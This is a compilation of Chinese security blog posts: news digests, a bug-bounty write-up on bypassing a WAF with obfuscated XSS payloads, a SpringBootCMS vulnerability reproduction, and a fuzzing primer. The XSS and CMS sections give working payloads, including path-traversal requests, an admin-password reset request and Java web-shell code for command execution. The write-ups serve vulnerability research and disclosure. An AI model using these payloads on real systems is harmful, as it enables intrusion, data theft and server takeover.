1、LinkedIn智能链接攻击再次针对微软账户 https://www.bleepingcomputer.com/news/security/linkedin-smart-links-attacks-return-to-target-microsoft-accounts/ 近日，研究人员发现了一种新的网络钓鱼攻击，利用LinkedIn的智能链接功能来窃取微软账户的凭证。智能链接是LinkedIn提供的一种服务，可以让用户分享文档和演示文稿，而无需离开LinkedIn平台。攻击者通过发送带有智能链接的LinkedIn消息来诱骗受害者，当受害者点击链接时，会被重定向到一个伪造的微软登录页面，要求输入账户和密码。如果受害者输入了凭证，攻击者就可 2、辛普森制造公司在网络攻击后关闭IT系统 https://www.bleepingcomputer.com/news/security/simpson-manufacturing-shuts-down-it-systems-after-cyberattack/ 近日，辛普森制造公司通过SEC 8-K文件披露了一起网络安全事件，该事件已导致其运营中断，预计这种情况将持续下去。辛普森制造公司是一家美国建筑和结构材料生产商，也是北美结构连接件和锚栓的主要制造商之一，拥有5150名员工，年净销售额为21.2亿美元(2022 年)。该公司表示，上周二检测到IT问题和应用程序中断，但很快意识到这是由网络攻击引起的。针对这种情况，辛普森关闭了所有 3、Microsoft Defender新增自动隔离功能，阻止攻击者横向移动 https://www.microsoft.com/en-us/security/blog/2023/10/11/microsoft-defender-for-endpoint-now-stops-human-operated-attacks-on-its-own/ 近日，微软宣布推出一个新的功能，名为“contain user”，可以自动隔离被攻击者控制的用户账户，阻止攻击者在网络中横向移动。这个功能是基于微软的自动攻击干扰技术，可以在检测到手动键盘攻击(hands-on-keyboard attack)时，立即采取行动，限制攻击者的权限和范围。手动键盘攻击是指攻击者利用被盗或被泄露的用户 4、CISA将Acrobat Reader漏洞添加到已知被利用漏洞目录 https://www.cisa.gov/known-exploited-vulnerabilities-catalog 美国网络安全和基础设施安全局(CISA)在其已知利用漏洞目录中添加了5个新漏洞，其中包括Adob​​e Acrobat Reader中的一个高严重性漏洞(CVE-2023-21608)(CVSS 评分：7.8)。该漏洞属于释放后使用问题，攻击者可以触发该漏洞，以当前用户的权限实现远程代码执行(RCE)。“Adobe Acrobat Reader版本22.003.20282(及更早版本)、22.003.20281(及更早版本)和20.005.30418(及更早版本)受到该漏 5、Apple 发布 iOS 16 更新以修复旧设备上的 CVE-2023-42824 https://securityaffairs.com/152401/security/apple-releases-ios-16-update.html Apple 发布了 iOS 16.7.1 和 iPadOS 16.7.1 版本，以解决已被积极利用的攻击中的 CVE-2023-42824 漏洞。Apple 发布了iOS 16.7.1 和 iPadOS 16.7.1，以解决最近披露的零日漏洞CVE-2023-42824。该漏洞是存在于内核中的权限提升问题，已通过改进的检查得到解决。 6、一帆工业路由器存在多个严重漏洞可能使组织面临攻击 https://www.securityweek.com/unpatched-vulnerabilities-expose-yifan-industrial-routers-to-attacks/ 思科 Talos 威胁情报和研究小组周三报告称，中国公司一帆制造的工业路由器受到多个严重漏洞的影响，这些漏洞可能使组织面临攻击。供应商于 6 月底收到通知，并给了 90 多天的时间来发布补丁。然而，似乎尚未发布任何修复程序，并且思科已根据其漏洞披露政策公开了技术细节。Talos 研究人员在 Yifan 的 YF325 蜂窝路由器中发现了十多个漏洞。据该供应商介绍，该设备已部署在自助终端、智能交通、 7、ShellBot 使用十六进制 IP 来逃避攻击检测 https://thehackernews.com/2023/10/shellbot-uses-hex-ips-to-evade.html ShellBot背后的威胁行为者正在利用转换为十六进制表示法的 IP 地址来渗透管理不善的 Linux SSH 服务器并部署 DDoS 恶意软件。 8、研究人员发现冒充 WordPress 缓存插件的恶意软件 https://thehackernews.com/2023/10/researchers-uncover-malware-posing-as.html 网络安全研究人员发现了一种新型复杂恶意软件，该恶意软件伪装 WordPress 插件，秘密创建管理员帐户并远程控制受感染的网站。 9、研究人员在误植的 NuGet 包中发现了 SeroXen RAT https://blog.phylum.io/phylum-discovers-seroxen-rat-in-typosquatted-nuget-package 该软件包包含一个恶意安装脚本，该脚本在安装过程中秘密执行，下载一个模糊的批处理脚本，最终构建并执行 PowerShell 脚本。 10、Google 采用密钥作为所有用户的默认登录方式 https://thehackernews.com/2023/10/google-adopts-passkeys-as-default-sign.html 谷歌周二宣布，所有用户都可以默认设置密钥，五个月后，它在所有平台上推出了对FIDO Alliance支持的Google帐户无密码标准的支持。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

前言 最近一直在看国外的赏金平台，绕waf是真的难受, 记录一下绕过的场景。 初步测试 一开始尝试XSS，发现用户的输入在title中展示，那么一般来说就是看能否闭合，我们从下面图中可以看到，输入尖括号后被转成了实体。 绕过html实体编码 解释一下什么是html实体编码 HTML实体编码，也即HTML中的转义字符。 在 HTML 中，某些字符是预留的，例如在 HTML 中不能使用小于号<和大于号>，这是因为浏览器会误认为它们是标签。 如果希望正确地显示预留字符，我们必须在HTML源代码中使用字符实体（character entities）。 HTML 中的常用字符实体是不间断空格。（注意：实体名称对大小写敏感！） 字符实体类似这样：&entity_name; 或者 &#entity_number;如需显示小于号，我们必须这样写：< 或 < 常见的实体编码： 关于更多的实体可在下面网站查看寻找： https://symbl.cc/cn/unicode/blocks/basic-latin/#subblock-0061继续尝试是发现我们讲html10进制实体编号输入转义会闭合title标签 原本以为事情逐渐简单了起来，结果更大的一个坑在等着我。 WAF层面 原本想着<img/src=1 onerror=alert(1) />直接秒杀 结果来了个waf 。 下一步按照往常一样 fuzz事件，结果全是403，这时候那没办法了那就不能用img标签了 改换其他标签，fuzz以下 发现可用的还不少。 然后使用a标签进行绕过 常用的payload，基于下面payload改就行了 <a href="javascript:alert(1)"/> 原本是一番风顺的 到后面发先还有过滤，真吐了,看图就好 绕过javascript,到这里了可能一部分人觉得已经结束了，但实际上没那么简单 前面其实花的时间并不多主要绕alert的时候。此处我尝试的多种方式包括html实体绕过，基本都不行， 然后就在此处卡了很久，我也想过不使用alert使用prompt这些函数但就是不行，后面发现后面就是不能跟括号和反引号 这时候就在想，还有不能用括号进行弹窗的函数？给我整懵逼了，找了一大圈一个都没找到都需要用括号,alert后不需要括号和反引号的也过不了。 最后在推特上看到了这个最终完成绕过 https://aem1k.com/aurebesh.js/#java本地测试payload <a/href="javascript;{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click<a href=ja&NewLine;vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)" 最终效果

SpringBootCMS，极速开发，动态添加字段，自定义标签，动态创建数据库表并crud数据，数据库备份、还原，动态添加站点(多站点功能)，一键生成模板代码，让您轻松打造自己的独立网站，同时也方便二次开发，让您快速搭建个性化独立网站，为您节约更多时间。 http://www.jrecms.com环境搭建 修改 src/main/resources/application.properties 中对应的数据库地址，在本地创建数据库并导入根目录下的 sql 文件 运行 src/main/java/com/cms/App.java 漏洞复现分析 未授权任意文件下载 GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1 Host: localhost:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://localhost:8888/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close com.cms.controller.common.FileController#download 通过传过来的参数 fileKey 未经过任何过滤就拼接到读取文件的路径中，最后读取该文件并下载返回 越权修改管理员密码 系统中存在演示账号，演示账号的用户名和密码为 read/123456，演示用户在前端并不能操作相关功能，但是可以通过直接构造数据包，触发相对应的功能 POST /admin/admin/reset HTTP/1.1 Host: localhost:8888 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8888/admin/role Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 4 id=1 成功修改了管理员 admin 的密码，修改为 123456 com.cms.controller.admin.AdminController#reset com.cms.filter.PermissionFilter#doFilter 根本原因是没有将 reset 操作添加在过滤中，导致演示账号也可以执行重置密码的操作。 其他的操作就会有相关的提示 授权任意文件读取 构造链接 http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties com.cms.controller.admin.TemplateController#edit 对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示 授权任意文件修改可 getshell 查找其中不需要授权就可以访问到的路由对应的文件 http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java 添加恶意代码，增加命令执行的路由文件 @RequestMapping("/exec") public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{ // 执行命令并获取输出结果 ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("cmd", "/c", command); Process process = processBuilder.start(); // 读取命令输出的结果 String output = ""; BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = inputReader.readLine()) != null) { output +=line; } response.setHeader("Content",output); } 重启项目后，发送路由信息 com.cms.controller.admin.TemplateController#update 漏洞存在的原因是因为在更新代码的时候，没有对代码内容进行校验，可任意修改代码，写入恶意代码就会触发命令执行 授权任意文件删除 构造数据包 GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1 Host: localhost:8888 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9 Connection: close com.cms.controller.admin.DatabaseController#delete com.cms.utils.BackupUtils#delete

1、Mirai变种利用13个路由器漏洞扩大攻击范围 https://www.fortinet.com/blog/threat-research/Iz1h9-campaign-enhances-arsenal-with-scores-of-exploits Mirai是一种基于Linux的DDoS恶意软件，它可以感染各种物联网设备，如摄像头、路由器、打印机等，将它们组成僵尸网络，用于发动大规模的DDoS攻击。近日，一种名为IZ1H9的Mirai变种被发现，它利用了13个路由器漏洞，可以攻击D-Link、Zyxel、TP-Link、TOTOLINK等品牌的路由器。IZ1H9通过暴力破解或利用硬编码的弱口令，远程执行代码，感染目标设备。然后，它会将 2、D-Link WiFi 6扩展器被发现存在严重的命令注入漏洞 https://www.bleepingcomputer.com/news/security/d-link-wifi-range-extender-vulnerable-to-command-injection-attacks/ D-Link DAP-X1860是一款流行的WiFi 6扩展器，它可以增强无线信号的覆盖范围和稳定性。然而，近日，安全研究人员发现，该设备存在一个严重的命令注入漏洞，可以让攻击者在设备上执行任意代码，进行拒绝服务或远程控制攻击。该漏洞的原理是，当设备扫描附近的WiFi网络时，如果遇到一个包含单引号和双和符号的SSID(如“Test’ && uname -a &&”) 3、微软为阻止恶意软件传播，将在Windows中废除VBScript https://www.bleepingcomputer.com/news/security/microsoft-to-kill-off-vbscript-in-windows-to-block-malware-delivery/ VBScript(也称为Visual Basic Script或Microsoft Visual Basic Scripting Edition)是一种类似于Visual Basic或Visual Basic for Applications(VBA)的编程语言，于1996年8月推出，已有近30年的历史。它主要用于在Internet Explorer浏览器中运行客 4、欧洲航空公司Air Europa遭遇数据泄露 https://www.bleepingcomputer.com/news/security/air-europa-data-breach-customers-warned-to-cancel-credit-cards/ Air Europa航空公司是西班牙最大的航空公司之一，近日遭到了一场严重的数据泄露事件，导致数千名客户的个人信息和信用卡信息被黑客窃取。该公司在其官方网站上发布了一份声明，承认了数据泄露的事实，并表示已经采取了相应的措施，包括通知有关当局和信用卡公司。该公司还建议受影响的客户尽快取消或更换他们的信用卡，以防止进一步的损失。泄露事件中暴露的信用卡详细信息包括卡号、有效期以及 5、谷歌发布Chrome 118 修补了 20 个漏洞 https://www.securityweek.com/chrome-118-patches-20-vulnerabilities/ 谷歌周二宣布向稳定渠道发布 Chrome 118，修复了 20 个漏洞，其中包括外部研究人员报告的 14 个漏洞。外部报告的缺陷中最严重的是 CVE-2023-5218，这是一个严重错误，被描述为站点隔离中的释放后使用问题，站点隔离是 Chrome 的组件，负责防止站点窃取其他站点的数据。 6、cURL/libcurl中的严重漏洞使企业系统面临风险 https://www.securityweek.com/critical-socks5-vulnerability-in-curl-puts-enterprise-systems-at-risk/ cURL 数据传输项目的维护者周三推出了针对严重内存损坏漏洞的补丁，该漏洞使数百万企业操作系统、应用程序和设备面临恶意黑客攻击。 7、美国CISA警告 Adobe Acrobat Reader 漏洞被积极利用 https://thehackernews.com/2023/10/us-cybersecurity-agency-warns-of.html 美国网络安全和基础设施安全局 (CISA) 周二将Adobe Acrobat Reader 中的一个高严重性缺陷添加到其已知被利用的漏洞 ( KEV ) 目录中，并引用了主动利用的证据。 8、杭州亚运会大火背后，是网安和黑产的疯狂对抗 https://www.freebuf.com/news/380146.html 杭州亚运会是史上设项最多、参赛人数最多、竞赛组织难度最高的亚运会，已成为全世界最复杂的综合性体育赛事之一。在开幕前，网络安全团队便开启了细致的安全整理工作，共处置公共互联网恶意IP地址和域名6.4万余个，清除移动互联网恶意程序 6500余个。组织建立与79个重点保障对象的“一对一”对接协调机制，实时监测120余个重要域名、2100余个重要IP地址，全力做好了攻击流量清洗及域名安全保障。但在亚运会开赛后，网络威胁风险仍然不可避免地增加。为了消除隐患，根据工信部披露的数据，在赛事期间共处置公共互联网恶意IP地址和域 9、全球众多黑客组织加入巴以冲突数字斗争战局 https://www.secrss.com/articles/59473 全球黑客组织正在“选边站队”，对以色列和巴勒斯坦数字基础设施开展网络攻击，在网络空间塑造了巴以冲突的第二战场。 10、黑客通过修改网上商店的404页面来窃取信用卡 https://www.bleepingcomputer.com/news/security/hackers-modify-online-stores-404-pages-to-steal-credit-cards/ 这种技术是Akamai安全情报小组的研究人员观察到的三种变体之一，另外两种变体将代码隐藏在HTML图像标签的“onerror”属性和图像二进制中，使其显示为元像素代码片段。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、佛罗里达州巡回法院遭ALPHV勒索软件攻击 https://www.bleepingcomputer.com/news/security/alphv-ransomware-gang-claims-attack-on-florida-circuit-court/ 据报道，ALPHV(又名BlackCat)勒索软件团伙声称对佛罗里达州西北部的州立法院发动了一次攻击，这些法院属于第一司法巡回法院。据称，威胁者获取了包括法官在内的员工的个人信息，如社会保障号和简历。研究人员表示，ALPHV是今年最复杂的勒索软件之一，具有高度可定制的功能集，可以对各种目标进行攻击。ALPHV团伙在其暗网网站上公布了部分被盗数据的截图，并要求受害者支付赎金，否则 2、Volex PLC遭黑客入侵部分IT系统和数据 https://www.hackread.com/uk-power-data-manufacturer-volex-cyberattack/ Volex PLC是一家总部位于英国的电力和数据传输产品制造商，其产品广泛应用于汽车、医疗、工业和消费电子领域。报道称，该公司近日遭受了一次网络攻击，导致攻击者未经授权地访问了该公司的部分IT 统和数据。Volex PLC表示，该公司在发现攻击后迅速采取了应对措施，并实施了一项事件响应计划。该公司还声称，目前没有证据表明该事件造成了“重大财务影响”，也没有影响到其客户或供应商的数据。Volex PLC表示，该公司正在与相关当局合作，调查事件的原因和影响 3、libcue库漏洞导致GNOME Linux系统遭受远程代码执行攻击 https://github.blog/2023-10-09-coordinated-disclosure-1-click-rce-on-gnome-cve-2023-43641/ libcue是一个用于解析cue文件的库，它被集成到了GNOME Linux系统中的一款搜索引擎工具Tracker Miners中。Tracker Miners可以对系统中的文件进行索引，方便用户访问。然而，近日发现libcue库存在一个严重的内存损坏漏洞，编号为CVE-2023-43641，CVSS评分为8.8。该漏洞影响了2.2.1及之前的版本，如果被利用，可能导致远程代码执行(RCE)。该漏洞的利用方式非常 4、HelloKitty勒索软件源代码在黑客论坛上泄露 https://securityaffairs.com/152182/malware/hellokitty-ransomware-source-code-leaked.html HelloKitty是一种针对企业的勒索软件，它会在加密受害者的文件后，将解密密钥发送给攻击者，从而让他们控制受害者的数据。据报道，HelloKitty勒索软件的源代码在一个黑客论坛上被泄露，该论坛的管理员称，他们从一个名为“L0ckBit”的用户那里获得了源代码，并将其公开分享给其他用户。据悉，该源代码包含了HelloKitty勒索软件的主要功能模块，以及用于加密和解密文件的算法。该事件引起了安全界的关注，因为He 5、新的DDoS攻击"HTTP/2快速重置"达到了创记录的每秒 3.98 亿次请求 (rps) https://securityaffairs.com/152278/hacking/ddos-http-2-rapid-reset-technique.html Google Cloud 本周发布博客介绍最近一段时间新出现的攻击类型：HTTP/2 快速重置。攻击者利用这个方法从 8 月份开始对谷歌云平台的客户发起攻击，其中攻击者在某次攻击中在 1 秒内发出了高达 3.98 亿个请求，这也是目前有记录以来的每秒请求数最高的一次攻击。 6、curl&libcurl 高危漏洞今日发布修复补丁 https://www.freebuf.com/news/380169.html curl项目的作者bagder(Daniel Stenberg)在GitHub中发布消息称，将在2023年10月11日发布curl的8.4.0版本。同时，他们还将公开两个漏洞：CVE-2023-38545和CVE-2023-38546。 7、微软修复了 WordPad、Skype for Business 中被利用的零日漏洞 https://www.securityweek.com/microsoft-fixes-exploited-zero-days-in-wordpad-skype-for-business/ 微软安全响应团队周二推出了大量软件和操作系统更新，以覆盖 Windows 生态系统中的 100 多个漏洞，并警告称其中 3 个漏洞已被利用。 8、最新的 Balada 注入器活动针对未修补的 tagDiv 插件 https://cyware.com/news/latest-balada-injector-campaign-targets-unpatched-tagdiv-plugin-37f55318 Balada Injector 的基础设施和攻击方法迅速发展，导致大量 WordPress 网站遭到入侵。Balada 恶意软件注入攻击被发现利用易受攻击的 tagDiv 高级主题插件来针对报纸和新闻网站。 9、巴以冲突中双方黑客将 SCADA 和 ICS 系统作为攻击目标 https://securityaffairs.com/152224/hacktivism/hacktivists-palestine-israel-after-scada-ics.html 亲以色列和亲巴勒斯坦的黑客活动分子都加入了战斗，并将 SCADA 和 ICS 系统作为攻击目标。 10、 金融监管部门提示：谨防“AI 换脸”等新型诈骗手段 https://www.ithome.com/0/723/619.htm 国家金融监督管理总局北京监管局近日发布风险提示，提醒消费者近期重点防范三种新型欺诈手段，守护家人亲朋财产安全。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、北约遭黑客组织SiegedSec攻击泄露文件 https://securityaffairs.com/152007/hacking/nato-investigating-new-siegedsec-attack.html 北约官方表示，正在调查一个名为SiegedSec的黑客组织声称对其系统进行的网络攻击，并在网上泄露了一批未分类的文件。这些文件涉及高超音速武器、无人机威胁、放射性废物测试等话题。北约表示，这些事件只影响了一些未分类的北约网站，没有影响北约的任务、行动和军事部署。北约还表示，已经采取了额外的网络安全措施，并且认真对待网络威胁。SiegedSec是一个以政治动机为驱动的黑客组织，曾经多次攻击美国的州和地方政府网站。该组织在 2、加沙黑客组织Storm-1133攻击以色列能源和国防部门 https://thehackernews.com/2023/10/gaza-linked-cyber-threat-actor-targets.html 微软在其第四届数字防御报告中披露了一个名为Storm-1133的加沙地带的威胁行为者，针对以色列的私营能源、国防和电信组织发起了一系列网络攻击。微软认为，这个组织是为哈马斯(加沙地带的实际执政权力)的利益服务，因为其攻击的对象主要是哈马斯认为敌对的组织。这些对象包括以色列能源和国防部门，以及忠于法塔赫(巴勒斯坦民族主义和社会民主政党)的实体。Storm-1133的攻击链涉及社会工程学和LinkedIn上的伪造个人资料，这些个人资料伪装成以 3、Google新反垃圾邮件规则或影响Microsoft 365邮件 https://www.bleepingcomputer.com/news/security/microsoft-365-admins-warned-of-new-google-anti-spam-rules/ Google在其官方博客中宣布，将于2023年10月18日开始执行一项新的反垃圾邮件规则，该规则可能会影响Microsoft 365管理员和用户收到的电子邮件。该规则要求所有发送到Gmail的电子邮件必须使用DMARC(域名消息验证报告和遵从)协议进行身份验证，否则将被标记为垃圾邮件或拒绝。DMARC是一种电子邮件身份验证协议，旨在防止欺诈和欺骗性的电子邮件，例如钓鱼和伪造。DMAR 4、Flagstar Bank三年内第三次遭遇数据泄露 https://www.bleepingcomputer.com/news/security/third-flagstar-bank-data-breach-since-2021-affects-800-000-customers/ Flagstar Bank是一家美国的金融机构，拥有超过150个分支机构，服务于消费者和企业客户。该银行在2021年和2022年分别遭受了两次严重的数据泄露事件，影响了约150万客户的个人信息，包括姓名、电话号码、社会安全号和税务记录。这些事件都与Accellion的文件传输软件MOVEit Transfer有关，该软件存在一个已被修复的零日漏洞，被俄罗斯的勒索 5、土耳其黑客团队宣称攻击美国中部银行 https://thecyberexpress.com/mid-america-bank-cyberattack-by-turk-hack-team/ 美国中部银行(Mid America Bank)近日遭到土耳其黑客团队(Turk Hack Team)的网络攻击，导致其官方网站被篡改，显示出一些反美和亲土耳其的信息。据报道，这次攻击是土耳其黑客团队为了纪念2016年7月15日土耳其未遂政变而发起的一系列网络行动的一部分。该黑客团队在其数据泄露网站上宣称，他们已经入侵了美国中部银行的数据库，并威胁要公开其中的敏感信息，除非美国政府向土耳其道歉。美国中部银行是一家总部位于威斯康星州的社区银行， 6、AWS将于2024年起对所有高权限账户启用MFA https://www.infosecurity-magazine.com/news/aws-multifactor-authentication-2024/ AWS是亚马逊旗下的云计算服务提供商，拥有数百万的客户和用户。为了提高客户环境的默认安全性和降低账户被劫持的风险，AWS宣布将于2024年中期开始，对所有高权限账户(如根用户)强制要求使用MFA。MFA是一种增强账户安全的简单有效的方法，它可以在用户登录时要求输入额外的验证信息，如密码、验证码或安全密钥，从而防止未经授权的个人访问系统或数据。AWS表示，将通过多种渠道通知需要启用MFA的客户，并在他们登录控制台时提示他们即将发生的变化 7、Curl库10月11日修复两个被利用的漏洞 https://thehackernews.com/2023/10/security-patch-for-two-new-flaws-in.html Curl库是一个用于传输数据的流行命令行工具，支持多种协议，如FTP、HTTP、IMAP等。该库的维护者发布了一个预警，称将在10月11日发布更新，修复两个已被利用的安全漏洞。这两个漏洞分别被标记为CVE-2023-38545和CVE-2023-38546，严重程度分别为高和低。由于担心泄露信息可能会帮助攻击者准确地识别出问题所在，维护者没有透露漏洞的具体细节和受影响的版本范围。但据称，该库的近几年的版本都存在问题。CVE-2023-38545 8、巴以冲突舆论、网络战同时开打，多国黑客组织下场 https://www.freebuf.com/news/379971.html 在双方热战的同时，巴以双方的舆论战及网络战也同时打响。 9、QAKBOT 威胁行为者在 8 月下架后仍在运行 https://securityaffairs.com/152087/cyber-crime/qakbot-threat-actors-still-operational.html QakBot 恶意软件背后的威胁行为者仍然活跃，自 8 月以来，他们正在开展网络钓鱼活动，提供 Ransom Knight 勒索软件和 Remcos RAT。 10、美国国家安全局即将设立人工智能安全中心 https://zhuanlan.kanxue.com/article-24584.htm 美国网络司令部司令兼国家安全局局长保罗•中曾根（Paul M. Nakasone）表示，美国国家安全局（NSA）将设立人工智能安全中心，该中心致力于监督美国国家安全系统中人工智能能力的开发和整合。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

0x01 什么是模糊测试 模糊测试（Fuzz Testing）是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据，以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通常用于寻找软件漏洞、安全漏洞和崩溃点，以改进软件的稳定性和安全性。 0x02 基本原理和组成 1.基本原理 基本思想 模糊测试的思想是构造所有可能的输入，并将输入传递给被测目标程序，然后监控目标程序在接收输入后是否出现异常情况，以此来发现软件中存在的缺陷和故障。 构造输入 -> 输入 -> 监控状态 -> 判断异常 -> 报告 抓住了大程序开发的痛点，一定程度上提升了安全测试的效率。 基本概念 其中内容加粗体的属于概念。在此我用简单的话语诠释其中的关系。 给一个简单的图阐释关系，可以配合文字理解。 模糊测试通常包括模糊测试实例，而模糊测试实例包括了两个重要元素：数据集合和程序执行路径。 数据集合即输入数据的集合，程序执行路径指的是程序指令序列和对应的内存和寄存器状态。 我们再分开谈谈数据集合和程序执行路径。 数据集合的元素由数据组成，数据包括数据的取值和输入条件（网络输出或窗口输出）。 程序执行路径由执行状态和执行状态的支配关系组成。执行状态包括了二进制指令（比如此时是mov rax,1）和内存与寄存器状态的集合（比如此时rbx = 0, rcx = 1 ……内存中0x404080 = '\x90'）。支配关系指的是下一个到哪里，条件判断等等。 套娃结束了，接下来就是程序异常、异常执行路径，等价执行路径，测试用例集合，测试用例序号，异常测试用例，等价测试用例。 程序异常：程序异常是在程序执行过程中出现的不正常行为，通常导致程序崩溃、错误或漏洞暴露。模糊测试的目标之一是发现程序异常。 异常执行路径：异常执行路径是程序在异常情况下的执行路径，它包括了导致异常的条件和操作序列。模糊测试可以通过检测异常执行路径来发现潜在的漏洞。 等价执行路径：等价执行路径是指在不同输入情况下，程序可能会采取相似或等效的执行路径。理解等价执行路径有助于减少测试用例的冗余。 测试用例集合：测试用例集合包含了多个测试用例，每个测试用例都是一个输入数据和对应的测试条件的组合。模糊测试通常会生成大量的测试用例，以检测各种可能的情况。 测试用例序号：测试用例序号是测试用例在测试用例集合中的唯一标识，用于跟踪和管理测试进度和结果。 异常测试用例（Exception Test Case）： 异常测试用例是用于测试软件系统如何处理异常情况的测试实例。 这些异常情况可能包括输入无效数据、越界访问、不合法的操作、资源不足等。 目标是验证软件是否能够优雅地处理这些异常，而不会导致崩溃或不正常行为。 例如，一个异常测试用例可能是尝试输入一个非数字字符到一个要求输入数字的字段中，以测试程序是否能够捕获和处理这种非法输入。 等价测试用例（Equivalence Test Case）： 等价测试用例是用于测试软件系统在不同输入情况下是否表现相似或等效的测试实例。 这些测试用例通常分为等效类别，每个等效类别代表一组具有相似特征的输入数据。 目标是在每个等效类别中选择一个或多个测试用例，以代表该类别的所有可能输入情况。 通过这种方式，测试用例集合可以更全面地覆盖各种输入情况，而不必测试每个可能的输入。 例如，对于一个登录功能，等价测试用例可以包括一个有效的用户名和密码组合、一个无效的用户名和有效的密码组合，以及一个有效的用户名和无效的密码组合，以代表不同的等效类别。 简单说，测试用例是用于测试软件系统的具体实例，异常测试用例用于验证异常情况的处理，而等价测试用例用于覆盖不同等效类别的输入情况，以确保软件在各种情况下都能正确运行。有效的测试用例设计是软件测试的关键，它有助于发现潜在问题并提高软件的质量。 2.系统组成 模糊测试分为测试数据生成，数据交互与控制，测试结果反馈三个阶段。 测试数据生成->数据交互与控制->测试结果反馈 根据这些过程，对应着模糊测试一般分为三个模块：数据生成模块，环境控制模块和状态监控模块。 模糊测试通常分为三个关键模块，即数据生成模块、环境控制模块和状态监控模块。这些模块在模糊测试中起着不同但关键的作用： 数据生成模块： 用途：数据生成模块的主要目标是生成模糊测试用例，这些测试用例将用作目标程序或系统的输入。这些测试用例通常包括各种异常、不合法或随机的数据，以检测程序在面对不正常输入时的反应。 方法：数据生成模块可以使用多种技术来创建测试用例，包括但不限于以下几种： 随机生成：生成随机数据，包括字符、数字、二进制数据等。 模式匹配：根据已知的数据模式或协议规范生成数据。例如，HTTP请求中的URL、参数和头部可以按照HTTP协议规范生成。 变异：基于已有的有效输入，通过添加、删除或修改数据的方式来生成测试用例，使其变得不正常或异常。 基于语法的生成：使用语法规则来生成数据，确保生成的数据符合语法结构，如JSON、XML等。 环境控制模块： 用途：环境控制模块负责模拟测试环境，包括目标程序的运行环境以及可能的外部条件，如网络、文件系统等。它确保模糊测试过程中的环境是可控制和可复制的。 方法：环境控制模块可以采用以下方法来实现环境模拟和控制： 虚拟化：在虚拟环境中运行目标程序，以隔离测试过程，确保系统稳定性和安全性。 模拟网络环境：模拟不同网络条件，如高延迟、丢包等，以测试程序在不同网络条件下的表现。 文件系统操作：模拟文件操作，包括文件创建、删除、修改等，以测试程序对文件操作的鲁棒性。 资源限制：限制CPU、内存和网络带宽等资源，以模拟资源受限的情况。 状态监控模块： 用途：状态监控模块用于监视目标程序的执行状态和异常情况。它捕获程序的行为，包括崩溃、错误、异常输出等，并将这些信息用于后续的分析和报告。 方法：状态监控模块可以采用以下方法来监控目标程序的状态： 日志记录：记录程序的输出、错误消息和运行时信息，以便后续分析。 异常检测：监测程序是否发生崩溃或异常，例如，通过监视进程是否终止或产生错误代码。 内存分析：检查程序的内存使用情况，以发现内存泄漏或非法内存访问。 性能分析：监控程序的性能指标，如响应时间、CPU利用率等，以评估程序的性能稳定性。 